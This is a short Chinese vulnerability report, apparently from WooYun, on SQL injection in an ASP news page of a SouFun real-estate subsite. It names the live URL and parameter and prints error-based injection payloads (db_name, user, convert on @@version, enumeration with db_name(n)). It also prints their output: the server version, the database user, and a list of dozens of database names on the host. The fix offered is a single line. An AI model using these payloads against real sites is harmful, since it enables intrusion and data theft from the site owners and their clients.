搜房网分站SQL注射漏洞导致多个数据库数据泄漏及修复

gz.soufun/popsite/meilin/shownewsen.asp?id=140

未对参数进行过滤导致数据和服务器信息泄漏等问题

应该还能进一步下去

漏洞证明：gz.soufun/popsite/meilin/shownewsen.asp?id=140

and db_name()>0 -> db:meilinjiye

and user>0 -> user:meilin

and 1=convert(int,@@version)-- ->version:Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

and 0 <> db_name(n)

0-> 'meilinjiye'

1-> 'master'

2-> 'tempdb'

3-> 'model'

4-> 'msdb'

5-> 'pubs'

6-> 'Northwind'

7-> 'njtlg'

8-> 'meilinjiye'

9-> 'chengkai'

10-> 'futongdb'

11-> 'shresource'

12-> 'sfb_xk'

13-> 'rjcpddb'

14-> 'szhouse'

15-> 'lingpeng'

16-> 'njyb'

17-> 'hongda'

18-> 'songdu'

19-> 'myhwk'

20-> 'cshouse'

24-> 'jufeng'

26-> 'vanke'

27-> 'zjnahc'

28-> 'qcfc'

29-> 'easeskyplaza'

30-> 'HuaRunXHJ'

33-> 'zjszfc'

40-> 'dyxfc'

45-> 'abbewa'

46-> 'gzpma'

47-> 'shangshuiyuan'

49-> 'WuHan_Hits'

...

修复方案：

过滤参数

作者Ambulong@乌云

上一篇：OSI传输层功能及协议

下一篇：好孩子育儿网多处注入及修复方案